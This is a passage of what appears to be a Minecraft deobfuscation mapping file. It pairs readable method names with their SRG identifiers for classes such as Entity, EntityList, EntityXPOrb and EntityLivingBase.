net/minecraft/entity/Entity/func_174793_f ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/Entity/getDistance (DDD)D net/minecraft/entity/Entity/func_70011_f (DDD)D +MD: net/minecraft/entity/Entity/setRotationYawHead (F)V net/minecraft/entity/Entity/func_70034_d (F)V +MD: net/minecraft/entity/Entity/getVectorForRotation (FF)Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_174806_f (FF)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/dealFireDamage (I)V net/minecraft/entity/Entity/func_70081_e (I)V +MD: net/minecraft/entity/Entity/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/Entity/func_70020_e (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/Entity/isInvisibleToPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/Entity/func_98034_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/Entity/setEating (Z)V net/minecraft/entity/Entity/func_70019_c (Z)V +MD: net/minecraft/entity/Entity/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/Entity/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/Entity/addVelocity (DDD)V net/minecraft/entity/Entity/func_70024_g (DDD)V +MD: net/minecraft/entity/Entity/setRenderYawOffset (F)V net/minecraft/entity/Entity/func_181013_g (F)V +MD: net/minecraft/entity/Entity/getFlag (I)Z net/minecraft/entity/Entity/func_70083_f (I)Z +MD: net/minecraft/entity/Entity/clientUpdateEntityNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/Entity/func_174834_g (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/Entity/getDistanceToEntity (Lnet/minecraft/entity/Entity;)F net/minecraft/entity/Entity/func_70032_d (Lnet/minecraft/entity/Entity;)F +MD: net/minecraft/entity/Entity/setAlwaysRenderNameTag (Z)V net/minecraft/entity/Entity/func_174805_g (Z)V +MD: net/minecraft/entity/Entity/entityInit ()V net/minecraft/entity/Entity/func_70088_a ()V +MD: net/minecraft/entity/Entity/isInRangeToRender3d (DDD)Z net/minecraft/entity/Entity/func_145770_h (DDD)Z +MD: net/minecraft/entity/Entity/setAir (I)V net/minecraft/entity/Entity/func_70050_g (I)V +MD: net/minecraft/entity/Entity/getDistanceSqToEntity (Lnet/minecraft/entity/Entity;)D net/minecraft/entity/Entity/func_70068_e (Lnet/minecraft/entity/Entity;)D +MD: net/minecraft/entity/Entity/setOutsideBorder (Z)V net/minecraft/entity/Entity/func_174821_h (Z)V +MD: net/minecraft/entity/Entity/hashCode ()I net/minecraft/entity/Entity/hashCode ()I +MD: net/minecraft/entity/Entity/setVelocity (DDD)V net/minecraft/entity/Entity/func_70016_h (DDD)V +MD: net/minecraft/entity/Entity/onDataWatcherUpdate (I)V net/minecraft/entity/Entity/func_145781_i (I)V +MD: net/minecraft/entity/Entity/applyEntityCollision (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_70108_f (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/pushOutOfBlocks (DDD)Z net/minecraft/entity/Entity/func_145771_j (DDD)Z +MD: net/minecraft/entity/Entity/getCollisionBox (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/Entity/func_70114_g (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/Entity/isEntityEqual (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/Entity/func_70028_i (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/Entity/hitByEntity (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/Entity/func_85031_j (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/Entity/hasCustomName ()Z net/minecraft/entity/Entity/func_145818_k_ ()Z +MD: net/minecraft/entity/Entity/resetPositionToBB ()V net/minecraft/entity/Entity/func_174829_m ()V +MD: net/minecraft/entity/Entity/copyLocationAndAnglesFrom (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_82149_j (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/copyDataFromOld (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_180432_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/setCommandStats (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_174817_o (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/canTriggerWalking ()Z net/minecraft/entity/Entity/func_70041_e_ ()Z +MD: net/minecraft/entity/Entity/onUpdate ()V net/minecraft/entity/Entity/func_70071_h_ ()V +MD: net/minecraft/entity/Entity/toString ()Ljava/lang/String; net/minecraft/entity/Entity/toString ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/sendCommandFeedback ()Z net/minecraft/entity/Entity/func_174792_t_ ()Z +MD: net/minecraft/entity/EntityList/func_151514_a ()V net/minecraft/entity/EntityList/func_151514_a ()V +MD: net/minecraft/entity/EntityList/getClassFromID (I)Ljava/lang/Class; net/minecraft/entity/EntityList/func_90035_a (I)Ljava/lang/Class; +MD: net/minecraft/entity/EntityList/createEntityByID (ILnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/entity/EntityList/func_75616_a (ILnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityList/createEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/entity/EntityList/func_75615_a (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityList/addMapping (Ljava/lang/Class;Ljava/lang/String;I)V net/minecraft/entity/EntityList/func_75618_a (Ljava/lang/Class;Ljava/lang/String;I)V +MD: net/minecraft/entity/EntityList/addMapping (Ljava/lang/Class;Ljava/lang/String;III)V net/minecraft/entity/EntityList/func_75614_a (Ljava/lang/Class;Ljava/lang/String;III)V +MD: net/minecraft/entity/EntityList/getIDFromString (Ljava/lang/String;)I net/minecraft/entity/EntityList/func_180122_a (Ljava/lang/String;)I +MD: net/minecraft/entity/EntityList/createEntityByName (Ljava/lang/String;Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/entity/EntityList/func_75620_a (Ljava/lang/String;Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityList/getEntityID (Lnet/minecraft/entity/Entity;)I net/minecraft/entity/EntityList/func_75619_a (Lnet/minecraft/entity/Entity;)I +MD: net/minecraft/entity/EntityList/isStringEntityName (Lnet/minecraft/entity/Entity;Ljava/lang/String;)Z net/minecraft/entity/EntityList/func_180123_a (Lnet/minecraft/entity/Entity;Ljava/lang/String;)Z +MD: net/minecraft/entity/EntityList/getEntityNameList ()Ljava/util/List; net/minecraft/entity/EntityList/func_180124_b ()Ljava/util/List; +MD: net/minecraft/entity/EntityList/getStringFromID (I)Ljava/lang/String; net/minecraft/entity/EntityList/func_75617_a (I)Ljava/lang/String; +MD: net/minecraft/entity/EntityList/isStringValidEntityName (Ljava/lang/String;)Z net/minecraft/entity/EntityList/func_180125_b (Ljava/lang/String;)Z +MD: net/minecraft/entity/EntityList/getEntityString (Lnet/minecraft/entity/Entity;)Ljava/lang/String; net/minecraft/entity/EntityList/func_75621_b (Lnet/minecraft/entity/Entity;)Ljava/lang/String; +MD: net/minecraft/util/EntitySelectors$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/util/EntitySelectors$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/util/EntitySelectors$1/apply (Ljava/lang/Object;)Z net/minecraft/util/EntitySelectors$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EntitySelectors$2/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/util/EntitySelectors$2/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/util/EntitySelectors$2/apply (Ljava/lang/Object;)Z net/minecraft/util/EntitySelectors$2/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EntitySelectors$3/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/util/EntitySelectors$3/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/util/EntitySelectors$3/apply (Ljava/lang/Object;)Z net/minecraft/util/EntitySelectors$3/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EntitySelectors$4/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/util/EntitySelectors$4/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/util/EntitySelectors$4/apply (Ljava/lang/Object;)Z net/minecraft/util/EntitySelectors$4/apply (Ljava/lang/Object;)Z +MD: net/minecraft/util/EntitySelectors$ArmoredMob/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/util/EntitySelectors$ArmoredMob/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/util/EntitySelectors$ArmoredMob/apply (Ljava/lang/Object;)Z net/minecraft/util/EntitySelectors$ArmoredMob/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/item/EntityXPOrb/handleWaterMovement ()Z net/minecraft/entity/item/EntityXPOrb/func_70072_I ()Z +MD: net/minecraft/entity/item/EntityXPOrb/getXPSplit (I)I net/minecraft/entity/item/EntityXPOrb/func_70527_a (I)I +MD: net/minecraft/entity/item/EntityXPOrb/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityXPOrb/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityXPOrb/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityXPOrb/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityXPOrb/canAttackWithItem ()Z net/minecraft/entity/item/EntityXPOrb/func_70075_an ()Z +MD: net/minecraft/entity/item/EntityXPOrb/getBrightnessForRender (F)I net/minecraft/entity/item/EntityXPOrb/func_70070_b (F)I +MD: net/minecraft/entity/item/EntityXPOrb/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityXPOrb/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityXPOrb/onCollideWithPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/item/EntityXPOrb/func_70100_b_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/item/EntityXPOrb/dealFireDamage (I)V net/minecraft/entity/item/EntityXPOrb/func_70081_e (I)V +MD: net/minecraft/entity/item/EntityXPOrb/entityInit ()V net/minecraft/entity/item/EntityXPOrb/func_70088_a ()V +MD: net/minecraft/entity/item/EntityXPOrb/getXpValue ()I net/minecraft/entity/item/EntityXPOrb/func_70526_d ()I +MD: net/minecraft/entity/item/EntityXPOrb/getTextureByXP ()I net/minecraft/entity/item/EntityXPOrb/func_70528_g ()I +MD: net/minecraft/entity/item/EntityXPOrb/canTriggerWalking ()Z net/minecraft/entity/item/EntityXPOrb/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityXPOrb/onUpdate ()V net/minecraft/entity/item/EntityXPOrb/func_70071_h_ ()V +MD: net/minecraft/entity/EntityFlying/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/EntityFlying/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/EntityFlying/fall (FF)V net/minecraft/entity/EntityFlying/func_180430_e (FF)V +MD: net/minecraft/entity/EntityFlying/moveEntityWithHeading (FF)V net/minecraft/entity/EntityFlying/func_70612_e (FF)V +MD: net/minecraft/entity/EntityFlying/isOnLadder ()Z net/minecraft/entity/EntityFlying/func_70617_f_ ()Z +MD: net/minecraft/entity/EntityLivingBase$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/EntityLivingBase$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/EntityLivingBase$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/EntityLivingBase$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/EntityLivingBase/updatePotionMetadata ()V net/minecraft/entity/EntityLivingBase/func_175135_B ()V +MD: net/minecraft/entity/EntityLivingBase/onKillCommand ()V net/minecraft/entity/EntityLivingBase/func_174812_G ()V +MD: net/minecraft/entity/EntityLivingBase/onEntityUpdate ()V net/minecraft/entity/EntityLivingBase/func_70030_z ()V +MD: net/minecraft/entity/EntityLivingBase/kill ()V net/minecraft/entity/EntityLivingBase/func_70076_C ()V +MD: net/minecraft/entity/EntityLivingBase/handleStatusUpdate (B)V net/minecraft/entity/EntityLivingBase/func_70103_a (B)V +MD: net/minecraft/entity/EntityLivingBase/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/EntityLivingBase/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/EntityLivingBase/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/EntityLivingBase/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/EntityLivingBase/isOnTeam (Lnet/minecraft/scoreboard/Team;)Z net/minecraft/entity/EntityLivingBase/func_142012_a (Lnet/minecraft/scoreboard/Team;)Z +MD: net/minecraft/entity/EntityLivingBase/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLivingBase/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLivingBase/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/EntityLivingBase/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/EntityLivingBase/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/EntityLivingBase/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/EntityLivingBase/isPotionActive (Lnet/minecraft/potion/Potion;)Z net/minecraft/entity/EntityLivingBase/func_70644_a (Lnet/minecraft/potion/Potion;)Z +MD: net/minecraft/entity/EntityLivingBase/onNewPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/EntityLivingBase/func_70670_a (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/EntityLivingBase/onChangedPotionEffect (Lnet/minecraft/potion/PotionEffect;Z)V net/minecraft/entity/EntityLivingBase/func_70695_b (Lnet/minecraft/potion/PotionEffect;Z)V +MD: net/minecraft/entity/EntityLivingBase/mountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityLivingBase/func_70078_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityLivingBase/knockBack (Lnet/minecraft/entity/Entity;FDD)V net/minecraft/entity/EntityLivingBase/func_70653_a (Lnet/minecraft/entity/Entity;FDD)V +MD: net/minecraft/entity/EntityLivingBase/onItemPickup (Lnet/minecraft/entity/Entity;I)V net/minecraft/entity/EntityLivingBase/func_71001_a (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/entity/EntityLivingBase/getEntityAttribute (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/EntityLivingBase/func_110148_a (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/EntityLivingBase/dropEquipment (ZI)V net/minecraft/entity/EntityLivingBase/func_82160_b (ZI)V +MD: net/minecraft/entity/EntityLivingBase/getRotationYawHead ()F net/minecraft/entity/EntityLivingBase/func_70079_am ()F +MD: net/minecraft/entity/EntityLivingBase/getAlwaysRenderNameTagForRender ()Z net/minecraft/entity/EntityLivingBase/func_94059_bO ()Z +MD: net/minecraft/entity/EntityLivingBase/applyEntityAttributes ()V net/minecraft/entity/EntityLivingBase/func_110147_ax ()V +MD: net/minecraft/entity/EntityLivingBase/canBreatheUnderwater ()Z net/minecraft/entity/EntityLivingBase/func_70648_aU ()Z +MD: net/minecraft/entity/EntityLivingBase/onDeathUpdate ()V net/minecraft/entity/EntityLivingBase/func_70609_aI ()V +MD: net/minecraft/entity/EntityLivingBase/setBeenAttacked ()V net/minecraft/entity/EntityLivingBase/func_70018_K ()V +MD: net/minecraft/entity/EntityLivingBase/canBeCollidedWith ()Z net/minecraft/entity/EntityLivingBase/func_70067_L ()Z +MD: net/minecraft/entity/EntityLivingBase/canBePushed ()Z net/minecraft/entity/EntityLivingBase/func_70104_M ()Z +MD: net/minecraft/entity/EntityLivingBase/isEntityAlive ()Z net/minecraft/entity/EntityLivingBase/func_70089_S ()Z +MD: net/minecraft/entity/EntityLivingBase/updateRidden ()V net/minecraft/entity/EntityLivingBase/func_70098_U ()V +MD: net/minecraft/entity/EntityLivingBase/getLookVec ()Lnet/minecraft/util/Vec3; net/minecraft/entity/EntityLivingBase/func_70040_Z ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/EntityLivingBase/performHurtAnimation ()V net/minecraft/entity/EntityLivingBase/func_70057_ab ()V +MD: net/minecraft/entity/EntityLivingBase/getInventory ()[Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLivingBase/func_70035_c ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLivingBase/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLivingBase/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLivingBase/applyArmorCalculations (Lnet/minecraft/util/DamageSource;F)F net/minecraft/entity/EntityLivingBase/func_70655_b (Lnet/minecraft/util/DamageSource;F)F +MD: net/minecraft/entity/EntityLivingBase/getActivePotionEffect (Lnet/minecraft/potion/Potion;)Lnet/minecraft/potion/PotionEffect; net/minecraft/entity/EntityLivingBase/func_70660_b (Lnet/minecraft/potion/Potion;)Lnet/minecraft/potion/PotionEffect; +MD: net/minecraft/entity/EntityLivingBase/onFinishedPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/EntityLivingBase/func_70688_c (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/EntityLivingBase/setRevengeTarget (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/EntityLivingBase/func_70604_c (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/EntityLivingBase/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/EntityLivingBase/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/EntityLivingBase/renderBrokenItemStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/EntityLivingBase/func_70669_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/EntityLivingBase/dropFewItems (ZI)V net/minecraft/entity/EntityLivingBase/func_70628_a (ZI)V +MD: net/minecraft/entity/EntityLivingBase/getHeldItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLivingBase/func_70694_bm ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLivingBase/getSoundVolume ()F net/minecraft/entity/EntityLivingBase/func_70599_aP ()F +MD: net/minecraft/entity/EntityLivingBase/getSoundPitch ()F net/minecraft/entity/EntityLivingBase/func_70647_i ()F +MD: net/minecraft/entity/EntityLivingBase/isMovementBlocked ()Z net/minecraft/entity/EntityLivingBase/func_70610_aX ()Z +MD: net/minecraft/entity/EntityLivingBase/getJumpUpwardsMotion ()F net/minecraft/entity/EntityLivingBase/func_175134_bD ()F +MD: net/minecraft/entity/EntityLivingBase/jump ()V net/minecraft/entity/EntityLivingBase/func_70664_aZ ()V +MD: net/minecraft/entity/EntityLivingBase/updateAITick ()V net/minecraft/entity/EntityLivingBase/func_70629_bd ()V +MD: net/minecraft/entity/EntityLivingBase/handleJumpLava ()V net/minecraft/entity/EntityLivingBase/func_180466_bG ()V +MD: net/minecraft/entity/EntityLivingBase/getAIMoveSpeed ()F net/minecraft/entity/EntityLivingBase/func_70689_ay ()F +MD: net/minecraft/entity/EntityLivingBase/isPlayerSleeping ()Z net/minecraft/entity/EntityLivingBase/func_70608_bn ()Z +MD: net/minecraft/entity/EntityLivingBase/updateEntityActionState ()V net/minecraft/entity/EntityLivingBase/func_70626_be ()V +MD: net/minecraft/entity/EntityLivingBase/collideWithNearbyEntities ()V net/minecraft/entity/EntityLivingBase/func_85033_bc ()V +MD: net/minecraft/entity/EntityLivingBase/isServerWorld ()Z net/minecraft/entity/EntityLivingBase/func_70613_aW ()Z +MD: net/minecraft/entity/EntityLivingBase/getAbsorptionAmount ()F net/minecraft/entity/EntityLivingBase/func_110139_bj ()F +MD: net/minecraft/entity/EntityLivingBase/getTeam ()Lnet/minecraft/scoreboard/Team; net/minecraft/entity/EntityLivingBase/func_96124_cp ()Lnet/minecraft/scoreboard/Team; +MD: net/minecraft/entity/EntityLivingBase/markPotionsDirty ()V net/minecraft/entity/EntityLivingBase/func_175136_bO ()V +MD: net/minecraft/entity/EntityLivingBase/canDropLoot ()Z net/minecraft/entity/EntityLivingBase/func_146066_aG ()Z +MD: net/minecraft/entity/EntityLivingBase/isPlayer ()Z net/minecraft/entity/EntityLivingBase/func_70684_aJ ()Z +MD: net/minecraft/entity/EntityLivingBase/getRNG ()Ljava/util/Random; net/minecraft/entity/EntityLivingBase/func_70681_au ()Ljava/util/Random; +MD: net/minecraft/entity/EntityLivingBase/getAITarget ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/EntityLivingBase/func_70643_av ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/EntityLivingBase/getRevengeTimer ()I net/minecraft/entity/EntityLivingBase/func_142015_aE ()I +MD: net/minecraft/entity/EntityLivingBase/getLastAttacker ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/EntityLivingBase/func_110144_aD ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/EntityLivingBase/getLastAttackerTime ()I net/minecraft/entity/EntityLivingBase/func_142013_aG ()I +MD: net/minecraft/entity/EntityLivingBase/getAge ()I net/minecraft/entity/EntityLivingBase/func_70654_ax ()I +MD: net/minecraft/entity/EntityLivingBase/updatePotionEffects ()V net/minecraft/entity/EntityLivingBase/func_70679_bo ()V +MD: net/minecraft/entity/EntityLivingBase/resetPotionEffectMetadata ()V net/minecraft/entity/EntityLivingBase/func_175133_bi ()V +MD: net/minecraft/entity/EntityLivingBase/clearActivePotions ()V net/minecraft/entity/EntityLivingBase/func_70674_bp ()V +MD: net/minecraft/entity/EntityLivingBase/getActivePotionEffects ()Ljava/util/Collection; net/minecraft/entity/EntityLivingBase/func_70651_bq ()Ljava/util/Collection; +MD: net/minecraft/entity/EntityLivingBase/isEntityUndead ()Z net/minecraft/entity/EntityLivingBase/func_70662_br ()Z +MD: net/minecraft/entity/EntityLivingBase/getHealth ()F net/minecraft/entity/EntityLivingBase/func_110143_aJ ()F +MD: net/minecraft/entity/EntityLivingBase/getHurtSound ()Ljava/lang/String; net/minecraft/entity/EntityLivingBase/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/EntityLivingBase/getDeathSound ()Ljava/lang/String; net/minecraft/entity/EntityLivingBase/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/EntityLivingBase/addRandomDrop ()V net/minecraft/entity/EntityLivingBase/func_82164_bB ()V +MD: net/minecraft/entity/EntityLivingBase/getTotalArmorValue ()I net/minecraft/entity/EntityLivingBase/func_70658_aO ()I +MD: net/minecraft/entity/EntityLivingBase/getCombatTracker ()Lnet/minecraft/util/CombatTracker; net/minecraft/entity/EntityLivingBase/func_110142_aN ()Lnet/minecraft/util/CombatTracker; +MD: net/minecraft/entity/EntityLivingBase/getAttackingEntity ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/EntityLivingBase/func_94060_bK ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/EntityLivingBase/getMaxHealth ()F net/minecraft/entity/EntityLivingBase/func_110138_aP ()F +MD: net/minecraft/entity/EntityLivingBase/getArrowCountInEntity ()I net/minecraft/entity/EntityLivingBase/func_85035_bI ()I +MD: net/minecraft/entity/EntityLivingBase/swingItem ()V net/minecraft/entity/EntityLivingBase/func_71038_i ()V +MD: net/minecraft/entity/EntityLivingBase/updateArmSwingProgress ()V net/minecraft/entity/EntityLivingBase/func_82168_bl ()V +MD: net/minecraft/entity/EntityLivingBase/getAttributeMap ()Lnet/minecraft/entity/ai/attributes/BaseAttributeMap; net/minecraft/entity/EntityLivingBase/func_110140_aT ()Lnet/minecraft/entity/ai/attributes/BaseAttributeMap; +MD: net/minecraft/entity/EntityLivingBase/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/EntityLivingBase/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/EntityLivingBase/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/EntityLivingBase/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/EntityLivingBase/applyPotionDamageCalculations (Lnet/minecraft/util/DamageSource;F)F net/minecraft/entity/EntityLivingBase/func_70672_c (Lnet/minecraft/util/DamageSource;F)F +MD: net/minecraft/entity/EntityLivingBase/addPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/EntityLivingBase/func_70690_d (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/EntityLivingBase/isOnSameTeam (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/EntityLivingBase/func_142014_c (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/EntityLivingBase/getLook (F)Lnet/minecraft/util/Vec3; net/minecraft/entity/EntityLivingBase/func_70676_i (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/EntityLivingBase/damageEntity (Lnet/minecraft/util/DamageSource;F)V net/minecraft/entity/EntityLivingBase/func_70665_d (Lnet/minecraft/util/DamageSource;F)V +MD: net/minecraft/entity/EntityLivingBase/isPotionApplicable (Lnet/minecraft/potion/PotionEffect;)Z net/minecraft/entity/EntityLivingBase/func_70687_e (Lnet/minecraft/potion/PotionEffect;)Z +MD: net/minecraft/entity/EntityLivingBase/setSprinting (Z)V net/minecraft/entity/EntityLivingBase/func_70031_b (Z)V +MD: net/minecraft/entity/EntityLivingBase/fall (FF)V net/minecraft/entity/EntityLivingBase/func_180430_e (FF)V +MD: net/minecraft/entity/EntityLivingBase/setRotationYawHead (F)V net/minecraft/entity/EntityLivingBase/func_70034_d (F)V +MD: net/minecraft/entity/EntityLivingBase/setRenderYawOffset (F)V net/minecraft/entity/EntityLivingBase/func_181013_g (F)V +MD: net/minecraft/entity/EntityLivingBase/moveEntityWithHeading (FF)V net/minecraft/entity/EntityLivingBase/func_70612_e (FF)V +MD: net/minecraft/entity/EntityLivingBase/entityInit ()V net/minecraft/entity/EntityLivingBase/func_70088_a ()V +MD: net/minecraft/entity/EntityLivingBase/heal (F)V net/minecraft/entity/EntityLivingBase/func_70691_i (F)V +MD: net/minecraft/entity/EntityLivingBase/updateDistance (FF)F net/minecraft/entity/EntityLivingBase/func_110146_f (FF)F +MD: net/minecraft/entity/EntityLivingBase/sendEnterCombat ()V net/minecraft/entity/EntityLivingBase/func_152111_bt ()V +MD: net/minecraft/entity/EntityLivingBase/setHealth (F)V net/minecraft/entity/EntityLivingBase/func_70606_j (F)V +MD: net/minecraft/entity/EntityLivingBase/setJumping (Z)V net/minecraft/entity/EntityLivingBase/func_70637_d (Z)V +MD: net/minecraft/entity/EntityLivingBase/sendEndCombat ()V net/minecraft/entity/EntityLivingBase/func_152112_bu ()V +MD: net/minecraft/entity/EntityLivingBase/damageArmor (F)V net/minecraft/entity/EntityLivingBase/func_70675_k (F)V +MD: net/minecraft/entity/EntityLivingBase/decreaseAirSupply (I)I net/minecraft/entity/EntityLivingBase/func_70682_h (I)I +MD: net/minecraft/entity/EntityLivingBase/isChild ()Z net/minecraft/entity/EntityLivingBase/func_70631_g_ ()Z +MD: net/minecraft/entity/EntityLivingBase/setAIMoveSpeed (F)V net/minecraft/entity/EntityLivingBase/func_70659_e (F)V +MD: net/minecraft/entity/EntityLivingBase/isPotionActive (I)Z net/minecraft/entity/EntityLivingBase/func_82165_m (I)Z +MD: net/minecraft/entity/EntityLivingBase/isOnLadder ()Z net/minecraft/entity/EntityLivingBase/func_70617_f_ ()Z +MD: net/minecraft/entity/EntityLivingBase/getSwingProgress (F)F net/minecraft/entity/EntityLivingBase/func_70678_g (F)F +MD: net/minecraft/entity/EntityLivingBase/removePotionEffectClient (I)V net/minecraft/entity/EntityLivingBase/func_70618_n (I)V +MD: net/minecraft/entity/EntityLivingBase/onLivingUpdate ()V net/minecraft/entity/EntityLivingBase/func_70636_d ()V +MD: net/minecraft/entity/EntityLivingBase/setAbsorptionAmount (F)V net/minecraft/entity/EntityLivingBase/func_110149_m (F)V +MD: net/minecraft/entity/EntityLivingBase/removePotionEffect (I)V net/minecraft/entity/EntityLivingBase/func_82170_o (I)V +MD: net/minecraft/entity/EntityLivingBase/getArmSwingAnimationEnd ()I net/minecraft/entity/EntityLivingBase/func_82166_i ()I 